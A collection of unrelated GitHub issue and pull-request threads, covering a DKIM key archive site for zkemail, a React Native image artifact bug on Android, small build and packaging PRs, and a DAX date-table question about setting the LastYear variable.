Olof: instead of a database with dkim key(s) for each domain, we make a database with selectors for each domain, and then a website which fetches the selectors for a specific domain from the DB, and then gets the dkim keys on-the-fly with a dns lookup (that happens in the client's browser) to the domain of interest?
Well the database should store historical dkim keys, plus maybe a signature from the user uploading them -- and yes in real time, we can also get the latest one from local client DNS (as well as locally calculate the poseidon hash to compare to the onchain one). Unfortunately rn there isn't a great way to verify them except by trusting certain signatories for now.

Well the database should store historical dkim keys, plus maybe a signature from the user uploading them -- and yes in real time, we can also get the latest one from local client DNS (as well as locally calculate the poseidon hash to compare to the onchain one). Unfortunately rn there isn't a great way to verify them except by trusting certain signatories for now.

In https://github.com/zkemail/selector-scraper we store the selectors into a sqlite db. Which of the following do we want?

modify selector-scraper so that it stores selectors and fetches+stores DKIM keys, and also modify it to use postgreSQL instead of sqlite.
create a new app that goes though all the selectors from the sqlite db, fecthes the DKIM keys online and puts them in a postgreSQL db, (together with info about selectors, dates ets)?

Well this sqlite one was the quickest to put up,  but yeah I'd recommend moving to postgresql generally.
If you keep the current app, we'd have to find a way to make the public scraper code to adapt to only have access perms to add records *with signatures), not direct db access, and have some basic ddos protection. I would say you should do whatever is easiest for you, I'm fine keeping it as the same site or as two seperate sites.

@Divide-By-0 I worked a bit more on this website.
It's live on https://dkim-lookup.vercel.app/ and the code is here: https://github.com/foolo/dkim-lookup/tree/main/dkim-lookup-app
Current features are briefly:

A database with historic and current keys for a list of domains and selectors (which have been scraped from our private email history).
Regular batch job to update selectors via DNS lookup, and if there are updates, store a new db record with timestamp.
Simple UI frontend for searching by domain.

Question:
Regarding "Scrape the alexa top 1M websites". We discussed this a while ago and I think we chose the email-inbox-scraping approach instead (?) for the reason that  there is no direct way of knowing the selector names for a particular domain. Do we still want this feature in some form or another? For example we could loop the 1M-list and guess among the 25 most common selectors?
Then there is also the problem that the user-facing domain is not always the same as the DNS domain for DKIM key lookup. E.g. example.com may use examplemail.com for DKIM verification, so we won't necessarily find anything if we search for selectors directly on the domains from the Alexa list.

@Divide-By-0 Another example: on the 1M-list we would find yahoo.com, but when we scrape emails, the from-address, and the DKIM domain is cc.yahoo-inc.com:
From: Yahoo<EMAIL_ADDRESS>DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=cc.yahoo-inc.com;

Built at https://github.com/zkemail/archive.prove.email -- relevant discussion moved to issues there.


Add minimal description for kube proxy

What does this PR do?
Adds a description for kube proxy
Motivation

Additional Notes

Review checklist (to be filled by reviewers)

[ ] Feature or bugfix MUST have appropriate tests (unit, integration, e2e)
[ ] PR title must be written as a CHANGELOG entry (see why)
[ ] Files changes must correspond to the primary purpose of the PR as described in the title (small unrelated changes should have their own PR)
[ ] PR must have changelog/ and integration/ labels attached

/azp run PR Changes


Artifacts appear in images on Android devices with low screen resolutions

Description
If you add a borderRadius on Android devices with a low screen resolution, artifacts appear on the images. Especially visible in images with text.
React Native version:
SDKs:
iOS SDK:
Platforms: iOS 13.6, DriverKit 19.0, macOS 10.15, tvOS 13.4, watchOS 6.2
Android SDK:
API Levels: 23, 28, 29, 30
Build Tools: 28.0.3, 29.0.2, 30.0.0
System Images: android-30 | Google APIs Intel x86 Atom
Android NDK: Not Found
IDEs:
Android Studio: Not Found
Xcode: 11.6/11E708 - /usr/bin/xcodebuild
Languages:
Java: 1.8.0_252 - /usr/bin/javac
Python: 2.7.16 - /usr/bin/python
npmPackages:
@react-native-community/cli: Not Found
react: 16.13.1 => 16.13.1
react-native: 0.63.3 => 0.63.3
react-native-macos: Not Found
Device info
Android X
Default screen resolution: 2340 x 1080
Screen resolution set in device settings: 1560 x 720
Example
import React from 'react';
import { View, Image, StyleSheet } from 'react-native';

export default class Example extends React.PureComponent {
  render() {
    return (
      <View style={styles.container}>
        <Image source={{ uri: this.props.uri }} style={styles.image} />
        <Image source={{ uri: this.props.uri }} style={[styles.image, styles.corners]} />
      </View>
    );
  }
}

const styles = StyleSheet.create({
  container: {
    backgroundColor: '#fff',
    marginHorizontal: 20,
  },
  image: {
    width: 'auto',
    height: 'auto',
    aspectRatio: 1035 / 675,
  },
  corners: {
    borderRadius: 15,
  },
});

The screenshot shows how, after adding the borderRadius, a ladder and irregularities appeared on the objects in the picture.

thanks for the issue. Can you provide us the image so we can try to reproduce this issue?
Could you also give us a step by step on how to set the emulator to reproduce this? Thanks a lot

thanks for the issue. Can you provide us the image so we can try to reproduce this issue?
Could you also give us a step by step on how to set the emulator to reproduce this? Thanks a lot

It was possible to reproduce this only on physical Android devices. For example Huawei P20 has the ability to switch the resolution. At 2244x1080, everything is fine, and at 1496x720, artifacts appear in the images if add the border radius to them.
In this image, you can see that the edges of objects on it have become curves.


Add shared "xcproj" scheme for building from command line

This enables homebrew to build from HEAD.

+1 this would be great to have, thanks for submitting it @sharplet !

Thanks @sharplet and sorry it took so long to merge. I also released version 0.2.1 with Xcode 8 support.

I've submitted a PR to homebrew to update the HEAD branch name https://github.com/Homebrew/homebrew-core/pull/6668

No problem, thanks! 🎉


Fix up Hosting.Azure packages after splitting

Remove unnecessary dependencies from Hosting.Azure to PostgreSQL, Redis, and SqlServer.
Rename Aspire.Hosting.Azure.PosgresSQL to use consistent case with the rest of the libraries.

Doing this before we ship preview5, so it doesn't cause problems down the line. Removing the dependencies could be considered a breaking change. And fixing the casing might not be possible once we push to nuget.org.
Microsoft Reviewers: Open in CodeFlow

/backport to release/8.0-preview.5

/backport to release/8.0-preview5


LastYear

I did read the "Future Year" comment, but continue to have a question.  I to would like to change the LastYear to be in the future, however I'm a novice as well and don't know which part of the parameter to change.  Also would like to make sure that regardless of anything else, the LastYear indicated is through 12/31/xxxx or the last fiscal day.  Don't really care which one, but if I indicate the last year is 2021, then I would like 12/31/2021 or 6/30/2022.  Seems right now the last line for the current year is random and showing as 11/29/2019 before I change anything.
Var TodayReference = VAR CurrentDate = TODAY()
Return
Date(Year(CurrentDate)+2,Month(CurrentDate),DAY(CurrentDate))
VAR LastYear = YEAR ( TodayReference )

Are you sure you are sorting data in the data view when you check what is the last day visible? Dates are not necessarily displayed in a sorted way by default in the data view.

Hello Marco, and a VERY BIG thanks for replying to me. When looking at the table view, NO!!!!! I'm not looking at the table view in a sorted manner, so that is probably why I'm assuming that something was missing. I looked down the table date column and it was in order starting from the indicates start year 1/1. And at the point the sequential progression stopped I assumed the next line was the start of the holiday rows, which I thought were created at the end.
So, not worried about when the table ends.
However, in the LastYear section, how do I adjust that to make sure I'm generating date lines that go outwards in time. For example, if I want LastYear to be 2022. Or is that not how it works. Is it such that the LastYear is always the current year, meaning if I'm in 2021 physically, it always goes through 12/31 of the year (or 6/30 of the following year for fiscal year)? If that's the case, then I'm asking a moot question, I assumed LastYear was changeable to out periods, but if that's not necessary, let me know. For my purposes, if I'm getting through 12/31 in the current year (even if through 6/30 of the following year for fiscal), as long as the definition of current year (today) changes as time goes on, I'm fine. E.g. run today, I have 12/31/2019 as last day of calendar year. Run it a year from now, I have 12/31/2020 as last cal day, that is what I need. Is that how it works?
Thanks again for responding.

On June 15, 2019 at 11:59 AM Marco Russo<EMAIL_ADDRESS>wrote:
Are you sure you are sorting data in the data view when you check what is the last day visible? Dates are not necessarily displayed in a sorted way by default in the data view.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/sql-bi/DaxDateTemplate/issues/24?email_source=notifications&email_token=AMLT36R2HUXUPYASFIXPX7LP2UGVPA5CNFSM4HYO7HG2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODXY24XY#issuecomment-502378079 , or mute the thread https://github.com/notifications/unsubscribe-auth/AMLT36XQJDLNPCCZY6RE6I3P2UGVPANCNFSM4HYO7HGQ .

To be honest, I don't understand exactly what is the problem you have.
The LastYear variable defines what is the last year.
The CalendarRange variable defines how to compute the boundaries of one year (Calendar, FiscalGregorian, or FiscalWeekly)
It just works, I don't see the problem you are describing.

Yes, apologies for being confusing. I need the last date to be 12/31/2023 to do predictive analytics
Current Code stops at 12/31/2019:
VAR TodayReference =
TODAY () -- Change this if you need to use another date as a reference "current" day
VAR FirstYear = 2018
VAR LastYear =
YEAR ( TodayReference )
what do I change to make the last date extend to 12/31/2023 ?

On June 15, 2019 at 3:10 PM Marco Russo<EMAIL_ADDRESS>wrote:
To be honest, I don't understand exactly what is the problem you have.
The LastYear variable defines what is the last year.
The CalendarRange variable defines how to compute the boundaries of one year (Calendar, FiscalGregorian, or FiscalWeekly)
It just works, I don't see the problem you are describing.

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/sql-bi/DaxDateTemplate/issues/24?email_source=notifications&email_token=AMLT36VAYZDT4G2DXGV7SA3P2U5DHA5CNFSM4HYO7HG2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODXY6KBY#issuecomment-502392071 , or mute the thread https://github.com/notifications/unsubscribe-auth/AMLT36VWUSCGXETDQASH2PDP2U5DHANCNFSM4HYO7HGQ .

Use:
VAR LastYear = 2023

Thank you very much Marco. Worked well. Last question, to import the date table into a currently existing template, what is the procedure?
Many thanks again.

On June 15, 2019 at 9:06 PM Marco Russo<EMAIL_ADDRESS>wrote:
Use:
VAR LastYear = 2023

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/sql-bi/DaxDateTemplate/issues/24?email_source=notifications&email_token=AMLT36X67PXU7CFUS4PJ3VDP2WGYNA5CNFSM4HYO7HG2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODXZC36Q#issuecomment-502410746 , or mute the thread https://github.com/notifications/unsubscribe-auth/AMLT36TQ5CJRUZ7LBAISTJLP2WGYNANCNFSM4HYO7HGQ .

Hi Marco, I did figure out how to use the table in a previously existing pbix. Need nothing else and I thank you very much for your help.
Todd.

On June 15, 2019 at 9:06 PM Marco Russo<EMAIL_ADDRESS>wrote:
Use:
VAR LastYear = 2023

—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/sql-bi/DaxDateTemplate/issues/24?email_source=notifications&email_token=AMLT36X67PXU7CFUS4PJ3VDP2WGYNA5CNFSM4HYO7HG2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODXZC36Q#issuecomment-502410746 , or mute the thread https://github.com/notifications/unsubscribe-auth/AMLT36TQ5CJRUZ7LBAISTJLP2WGYNANCNFSM4HYO7HGQ .